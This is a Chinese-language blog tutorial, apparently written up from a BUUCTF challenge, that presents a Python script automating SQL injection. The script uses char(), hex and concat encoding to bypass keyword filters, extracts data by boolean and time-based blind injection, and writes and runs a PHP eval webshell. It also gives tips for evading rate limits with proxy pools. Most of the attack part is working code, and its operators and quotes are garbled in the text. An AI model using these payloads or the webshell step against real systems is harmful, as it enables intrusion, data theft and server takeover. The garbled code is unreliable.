Python自动化SQL注入:利用char()编码绕过WAF过滤实战

发布时间:2026/8/5 15:16:23
Python自动化SQL注入:利用char()编码绕过WAF过滤实战 1. 项目概述与核心思路最近在BUUCTF上刷题遇到一个典型的SQL注入关卡题目对常见的and、or、空格、引号甚至select、union等关键词都做了过滤手动构造Payload非常繁琐。这种场景下一个能自动化编码、测试和利用的Python脚本就成了“破局”的关键。今天我就来拆解一下我当时写的一个脚本它核心是利用char()函数编码绕过过滤并最终实现GetShell。整个过程不仅适用于CTF对于理解实际渗透测试中遇到WAFWeb应用防火墙或自定义过滤规则时的绕过思路也很有帮助。这个脚本的目标很明确在存在严格关键字过滤的注入点通过将Payload中的敏感字符转换为char()函数的ASCII码形式例如select转换为char(115,101,108,101,99,116)从而绕过基于字符串匹配的过滤机制。然后我们需要自动化完成从探测注入点到获取数据库信息再到写入WebShell的完整链条。这不仅仅是写几行代码更涉及到对SQL注入原理、Web应用交互逻辑以及Python网络编程的深入理解。无论你是CTF新手想提升自动化能力还是安全从业者想精进工具开发这篇内容都能给你提供一套清晰的、可复现的实战思路。2. 核心原理为什么char()编码能绕过过滤在深入代码之前我们必须先搞清楚背后的原理。很多初级的Web应用防护包括一些CTF题目的过滤逻辑是基于黑名单的字符串匹配。例如代码中可能包含这样的检查blacklist [‘select‘, ‘union‘, ‘and‘, ‘or‘, ‘ ‘, ‘‘, ‘\‘‘, ‘#‘, ‘--‘] for word in blacklist: if word in user_input: return “检测到非法输入”这种过滤方式非常“粗暴”它只检查用户输入的原始字符串中是否包含了黑名单里的子串。而char()函数是MySQL以及其他一些数据库如SQL Server中的一个内置函数它接受一个或多个整数参数并返回这些整数对应的ASCII字符连接成的字符串。例如char(115,101,108,101,99,116)在数据库内部执行后结果就是字符串‘select‘。关键在于过滤逻辑是在应用层我们的Python脚本与Web服务器之间检查我们发送的原始请求字符串。当我们发送char(115,101,108,101,99,116)时这个字符串本身并不包含‘select‘这个子串因此能顺利通过应用层的过滤。这个字符串被传递到数据库层后数据库引擎会执行char()函数将其解释为‘select‘关键字从而完成SQL语句的拼接与执行。这就实现了一次“瞒天过海”。注意这种方法并非万能。如果过滤系统不仅检查原始输入还进行了更深入的语法分析、语义分析或者使用了WAF的变形检测引擎单纯的char()编码可能失效。但在大量CTF场景和防护水平一般的实际环境中它仍然非常有效。3. 脚本整体设计与模块拆解一个健壮的自动化注入脚本不应该是一堆顺序执行的代码而应该模块清晰、功能解耦。这样不仅便于调试也方便后续扩展功能比如支持hex()编码、concat()拼接等其他绕过方式。我的脚本主要分为以下几个核心模块3.1 请求与会话管理模块这是脚本与靶场交互的基础。我们使用Python的requests库。关键点在于维持一个会话requests.Session()这样可以自动处理Cookies模拟浏览器行为在需要登录或存在会话状态的题目中至关重要。import requests import time class SQLiExploiter: def __init__(self, target_url): self.target_url target_url self.session requests.Session() # 添加一些常见的请求头降低被简单拦截的概率 self.headers { ‘User-Agent‘: ‘Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36‘, ‘Content-Type‘: ‘application/x-www-form-urlencoded‘, } self.session.headers.update(self.headers)这里我选择将目标URL和会话封装在一个类里比使用全局变量更清晰。设置一个通用的请求头也能避免一些基于空User-Agent的简单拦截。3.2 Payload编码转换模块这是脚本的“心脏”。它的功能是将一个标准的SQL注入Payload例如‘ union select 1,2,database()#转换成char()编码的形式。def encode_to_char(self, payload): 将payload中的每个字符转换为其ASCII码并用char()函数包裹。 例如select - char(115,101,108,101,99,116) 注意空格、括号等字符也需要转换。 encoded_parts [] for char in payload: # 将字符转换为ASCII码 ascii_val ord(char) encoded_parts.append(str(ascii_val)) # 用逗号连接所有ASCII码并包裹在char()中 encoded_payload ‘char(‘ ‘,‘.join(encoded_parts) ‘)‘ return encoded_payload但这样有一个问题整个Payload被编码成一个巨大的char()函数可读性差且在某些数据库中对char()函数的参数长度可能有限制。更常见的做法是只对敏感关键词进行局部编码。我们可以维护一个需要编码的关键词列表。def encode_sensitive_keywords(self, payload, keywords[‘select‘, ‘union‘, ‘from‘, ‘where‘, ‘and‘, ‘or‘, ‘ ‘]): 只对payload中的敏感关键词进行char()编码。 encoded_payload payload # 为了正确处理需要按长度从长到短排序关键词避免‘or‘匹配到‘order‘的情况 keywords_sorted sorted(keywords, keylen, reverseTrue) for kw in keywords_sorted: if kw in encoded_payload: # 将关键词转换为char编码形式 char_code ‘char(‘ ‘,‘.join(str(ord(c)) for c in kw) ‘)‘ # 替换时需要注意不能替换到已经被编码的部分。这里简化处理直接替换。 # 更严谨的做法是用正则匹配单词边界但CTF场景下通常够用。 encoded_payload encoded_payload.replace(kw, char_code) return encoded_payload实操心得在实战中我通常先用一个简单的测试如1‘ and ‘1‘‘1判断过滤了哪些字符。然后动态构建keywords列表。空格被过滤时除了用char(32)还可以用/**/MySQL注释符或号在某些语境下代替这需要在编码逻辑中增加额外的替换规则。3.3 布尔盲注与时间盲注自动化模块当页面没有直接回显数据库信息时即盲注我们需要通过页面差异布尔盲注或响应时间时间盲注来逐位提取数据。这是脚本中最需要耐心和技巧的部分。布尔盲注逻辑通过构造and ascii(substr(database(),1,1))100这类Payload根据页面内容是否包含某个特征如“成功”、“存在”等关键词来判断条件真假。def boolean_based_test(self, test_payload): 发送测试payload根据页面响应判断条件真假。 需要提前通过手动测试确定‘真‘和‘假‘条件对应的页面特征。 data {‘id‘: test_payload} # 假设注入参数是‘id‘ resp self.session.post(self.target_url, datadata) # 这里需要你根据靶场实际响应来确定判断逻辑 # 例如真条件时页面包含‘admin‘假条件时不包含 if ‘admin‘ in resp.text: return True else: return False def extract_data_boolean(self, query, position): 通过二分法逐位提取数据。 query: 要执行的SQL查询如‘select database()‘ position: 要提取的字符位置 low, high 32, 126 # ASCII可打印字符范围 while low high: mid (low high) // 2 # 构造Payload: 判断第position位字符的ASCII码是否大于mid test_sql f“ascii(substr(({query}),{position},1)){mid}“ encoded_sql self.encode_sensitive_keywords(test_sql) payload f“1‘ and {encoded_sql} and ‘1‘‘1“ # 根据实际注入点闭合方式调整 if self.boolean_based_test(payload): low mid 1 else: high mid - 1 # 循环结束时low high且low-1 high 即为字符的ASCII码 return chr(low-1)时间盲注逻辑当页面没有任何差异时使用sleep()函数。如果条件为真则让数据库睡眠几秒通过判断响应时间来判断。def time_based_test(self, test_payload, delay3): 时间盲注测试。发送payload计算响应时间。 start_time time.time() data {‘id‘: test_payload} resp self.session.post(self.target_url, datadata) # 注意设置适当的超时时间 elapsed time.time() - start_time # 如果响应时间显著大于设定的延迟则认为条件为真 return elapsed delay def extract_data_time(self, query, position): 时间盲注方式逐位提取数据。 result ‘‘ for ascii_val in range(32, 127): # 构造Payload: 如果第position位字符的ASCII码等于ascii_val则睡眠 test_sql f“if(ascii(substr(({query}),{position},1)){ascii_val},sleep(3),0)“ encoded_sql self.encode_sensitive_keywords(test_sql) payload f“1‘ and {encoded_sql} and ‘1‘‘1“ if self.time_based_test(payload, delay2.5): # 设置一个略小于sleep时间的阈值 result chr(ascii_val) break return result注意事项时间盲注非常耗时且不稳定受网络波动影响大。在脚本中一定要设置合理的超时timeout参数和延迟阈值。通常先尝试布尔盲注只有确认布尔型无效时才用时间型。3.4 文件写入与GetShell模块获取数据库信息库名、表名、列名后最终目标是写入WebShell。在MySQL中这通常用到into outfile或into dumpfile语句。def write_webshell(self, web_path, shell_content‘?php eval($_POST[“cmd“]);?‘): 尝试向web路径写入一句话木马。 web_path: 网站的绝对路径需要通过信息收集或报错获取如‘/var/www/html/shell.php‘ shell_content: WebShell内容 # 将shell内容进行char编码 encoded_shell self.encode_to_char(shell_content) # 构造写入文件的Payload # 注意into outfile需要数据库有FILE权限且知道绝对路径且目标目录有写权限 write_payload f“1‘ union select 1,{encoded_shell} into outfile ‘{web_path}‘#“ encoded_write_payload self.encode_sensitive_keywords(write_payload) data {‘id‘: encoded_write_payload} resp self.session.post(self.target_url, datadata) # 检查写入是否成功可能需要根据页面响应判断 # 也可以尝试访问写入的shell地址来验证 test_resp requests.get(f“http://靶场域名或IP/{web_path.split(‘/‘)[-1]}“) if test_resp.status_code 200: print(f“[] WebShell 写入成功地址: {web_path}“) return True else: print(f“[-] WebShell 写入可能失败。“) return False这个模块的成功依赖于几个前置条件1. 当前数据库用户拥有FILE权限2. 你知道网站的绝对路径3. 目标目录对MySQL进程可写。这些信息往往需要通过之前的注入步骤一步步获取。4. 在BUUCTF靶场的实战串联现在我们把所有模块串联起来模拟一次完整的攻击链。假设靶场题目是一个简单的GET型注入点URL为http://buuoj.cn/challenges#靶场参数是id对and,or,空格,union,select进行了过滤。4.1 第一步环境探测与过滤规则分析首先我们手动或写一个简单的探测脚本来确认过滤规则。probe_payloads [ “1‘ and ‘1‘‘1“, # 正常真条件 “1‘ and ‘1‘‘2“, # 正常假条件 “1‘ and 11“, # 测试空格和and “1‘ union select 1,2,3“, # 测试union select ] for pp in probe_payloads: resp requests.get(target_url, params{‘id‘: pp}) print(f“Payload: {pp} - 长度: {len(resp.text)}“) # 如果某个Payload返回的页面长度或内容与其他明显不同说明被过滤或执行逻辑不同通过对比响应我们可能发现包含and和union select的请求返回了错误页或相同的“过滤”提示页从而确认了过滤词。4.2 第二步自动化信息收集确认过滤规则后我们启动脚本首先获取当前数据库名。exploiter SQLiExploiter(“http://buuoj.cn/challenges#靶场“) db_name ‘‘ for i in range(1, 20): # 假设数据库名不超过20字符 char exploiter.extract_data_boolean(“select database()“, i) if not char: break db_name char print(f“当前数据库名: {db_name}“) print(f“[] 数据库名获取成功: {db_name}“)这里我们调用的是boolean_based_test方法前提是我们已经通过手动测试确定了页面在条件为真和假时的区别特征比如真时页面包含“success“假时不包含。你需要根据实际靶场情况修改boolean_based_test方法中的判断逻辑。4.3 第三步获取表名与列名获取数据库名后接下来是获取表名。这需要构造更复杂的查询。# 获取第一个表名 table_name ‘‘ for i in range(1, 30): # 注意information_schema.tables 可能也被过滤需要编码 query “select table_name from information_schema.tables where table_schemadatabase() limit 0,1“ encoded_query exploiter.encode_sensitive_keywords(query) char exploiter.extract_data_boolean(encoded_query, i) if not char: break table_name char print(f“[] 第一个表名: {table_name}“) # 假设表名为‘users‘获取其列名 column_name ‘‘ for i in range(1, 30): query f“select column_name from information_schema.columns where table_name‘{table_name}‘ limit 0,1“ encoded_query exploiter.encode_sensitive_keywords(query) char exploiter.extract_data_boolean(encoded_query, i) if not char: break column_name char print(f“[] 第一个列名: {column_name}“)踩坑记录information_schema这个库名本身也可能被过滤。如果遇到这种情况可以尝试用char()编码整个库名或者使用MySQL的盲注技巧猜解表名通过select table_name from (select 1)a join (select 2)b...等复杂查询绕过。在BUUCTF的一些题目中有时会直接给出表名提示或者表名非常常规如admin,flag,users可以尝试直接猜解。4.4 第四步获取Web路径与写入Shell这是最后一步也是最关键的一步。我们需要获取网站的绝对路径。常见的方法有利用数据库报错构造一个报错Payload有时会暴露出路径。利用load_file()函数读取已知文件如/etc/passwd(Linux)或C:\\windows\\win.ini(Windows)但需要FILE权限。基于经验的猜测在CTF中路径常常是/var/www/html/、/app/、C:\\phpstudy\\www\\等。假设我们通过某种方式比如题目描述、报错信息得知路径是/var/www/html/。web_path ‘/var/www/html/shell.php‘ shell_content ‘?php eval($_POST[“ant“]);?‘ # 使用一个不常见的连接密码 if exploiter.write_webshell(web_path, shell_content): print(“[] 恭喜GetShell成功“) # 可以尝试连接验证 post_data {‘ant‘: ‘system(“ls -la“);‘} verify_resp requests.post(f“http://靶场IP或域名/shell.php“, datapost_data) if verify_resp.status_code 200: print(“[] WebShell 连接成功命令执行结果“) print(verify_resp.text[:500]) # 打印前500字符 else: print(“[-] GetShell失败请检查路径、权限或过滤规则。“)5. 脚本优化与高级绕过技巧基础的char()编码脚本已经能解决很多问题但在更复杂的场景下我们需要进一步优化和升级。5.1 处理更严格的过滤编码嵌套与混淆如果题目连char、(、)、,都过滤了怎么办我们可以采用嵌套编码或其他函数。嵌套char()编码先对char这个单词本身进行编码。例如用char(99,104,97,114)来表示char。然后整个Payload会变成char(99,104,97,114)(...)。这听起来有点绕但脚本可以自动处理。使用hex()与unhex()select可以写成unhex(73656c656374)因为73656c656374是select的十六进制表示。这同样不包含原始关键字。使用concat()拼接concat(‘sel‘,‘ect‘)。可以将一个关键词拆分成多个部分用concat拼接再对每个部分进行char编码。我们需要升级encode_sensitive_keywords函数使其支持多种编码策略并可以随机选择或组合使用增加绕过成功率。5.2 提高盲注效率二分法与并行请求我们之前的盲注示例已经使用了二分法这比逐字遍历从32到126效率高得多。理论上提取一个字符只需要log₂(95) ≈ 7次请求。我们可以进一步优化多线程/异步请求在提取一个数据的多个字符时比如表名的第1位、第2位...这些请求之间没有依赖关系可以使用concurrent.futures或asyncio库并发发送极大缩短整体时间。缓存与去重对于相同的测试Payload可以缓存结果避免重复请求。import concurrent.futures def extract_char_concurrent(self, query, position): 使用线程池并发测试一个字符的多个可能ASCII值范围32-126 # 注意时间盲注不适合高并发容易误判。这里以布尔盲注为例。 def test_char(ascii_val): test_sql f“ascii(substr(({query}),{position},1)){ascii_val}“ encoded_sql self.encode_sensitive_keywords(test_sql) payload f“1‘ and {encoded_sql} and ‘1‘‘1“ return ascii_val if self.boolean_based_test(payload) else None with concurrent.futures.ThreadPoolExecutor(max_workers10) as executor: futures {executor.submit(test_char, val): val for val in range(32, 127)} for future in concurrent.futures.as_completed(futures): result future.result() if result is not None: executor.shutdown(waitFalse) # 找到一个就停止其他任务 return chr(result) return None重要提醒并发请求虽然快但会给目标服务器带来较大压力在CTF环境中可能被判定为攻击行为导致IP被封。在实际渗透测试中必须谨慎使用并遵守授权范围。在CTF中也应适度控制并发数如5-10个线程。5.3 错误处理与日志记录一个健壮的脚本必须有良好的错误处理和日志功能。网络异常处理使用try...except包裹请求代码处理连接超时、拒绝服务等异常。请求重试机制对于非致命的网络错误可以设置重试次数。详细日志将发送的Payload、接收的响应状态码、长度、耗时以及判断结果记录到文件或控制台便于后期分析和调试。import logging logging.basicConfig(levellogging.INFO, format‘%(asctime)s - %(levelname)s - %(message)s‘) logger logging.getLogger(__name__) def safe_request(self, url, data, max_retries3): for i in range(max_retries): try: resp self.session.post(url, datadata, timeout10) logger.info(f“请求成功: {data} - 状态码: {resp.status_code}, 长度: {len(resp.text)}“) return resp except requests.exceptions.Timeout: logger.warning(f“请求超时第{i1}次重试: {data}“) time.sleep(2) except requests.exceptions.RequestException as e: logger.error(f“请求异常: {e}“) break return None6. 常见问题与排查技巧实录在开发和运行这类脚本时你肯定会遇到各种各样的问题。下面是我踩过的一些坑和解决方法问题1脚本跑着跑着就卡住了或者返回的结果全是乱码。排查首先检查判断“真/假”条件的逻辑是否依然准确。有时页面结构会因之前注入的Payload而轻微变化比如多了一个换行导致特征匹配失效。最好的方法是在脚本中增加“心跳检测”定期比如每提取10个字符用已知的真假条件如11和12测试一下如果判断错误就暂停并报警。解决优化特征匹配逻辑不要只依赖一个固定的字符串。可以尝试匹配多个特征或者计算页面特定区域的哈希值如hashlib.md5(resp.text[500:1000].encode()).hexdigest()来进行对比。问题2into outfile语句执行了但访问Shell返回404或空白页。排查路径错误这是最常见的原因。确认你的绝对路径是否正确。可以尝试写入一个无害文件如into outfile ‘/tmp/test.txt‘ select ‘hello‘来测试路径和权限。权限不足MySQL进程用户对目标目录没有写权限。安全设置MySQL配置中secure_file_priv参数限制了导出目录。如果这个参数设为NULL则禁止导出如果设为一个目录则只能导出到该目录。你可以通过注入select secure_file_priv来查看。文件已存在into outfile不能覆盖已存在文件。尝试换一个文件名。内容被转义或截断确保你的WebShell内容被完整正确地写入。可以尝试写入一个简单的文本内容先进行验证。问题3靶场有速率限制或封IP机制脚本很快就被阻断。解决降低请求频率在每次请求之间加入随机延时time.sleep(random.uniform(1, 3))。使用代理池如果条件允许准备多个代理IP在请求时随机切换。优化Payload尽量减少请求次数。使用二分法盲注已经是一种优化。此外可以尝试一次性获取多个字符如使用substring((query),1,10)但需要页面有足够的回显位或者能处理更复杂的盲注逻辑。问题4char()编码后的Payload过长导致请求被截断或数据库报错。解决MySQL的char()函数对参数数量有限制。避免对整个长字符串进行编码而是采用局部编码策略只编码关键词。如果单个关键词编码后仍然很长考虑使用concat()将其拆分。例如select可以拆成concat(char(115,101), char(108), char(101,99,116))。最后我想强调的是自动化脚本是为了提升效率但它不能替代你对SQL注入原理和Web安全基础知识的理解。在运行脚本前一定要先手动测试理解漏洞点、过滤规则和闭合方式。脚本只是将你的手工过程标准化、自动化。这个用Python绕过SQL过滤的脚本其价值不仅在于帮你拿下CTF的flag更在于它为你提供了一套可扩展的、应对复杂过滤环境的自动化思维框架。你可以在此基础上增加对mod_rewrite、base64、异或等更多绕过技术的支持让它变得更加强大。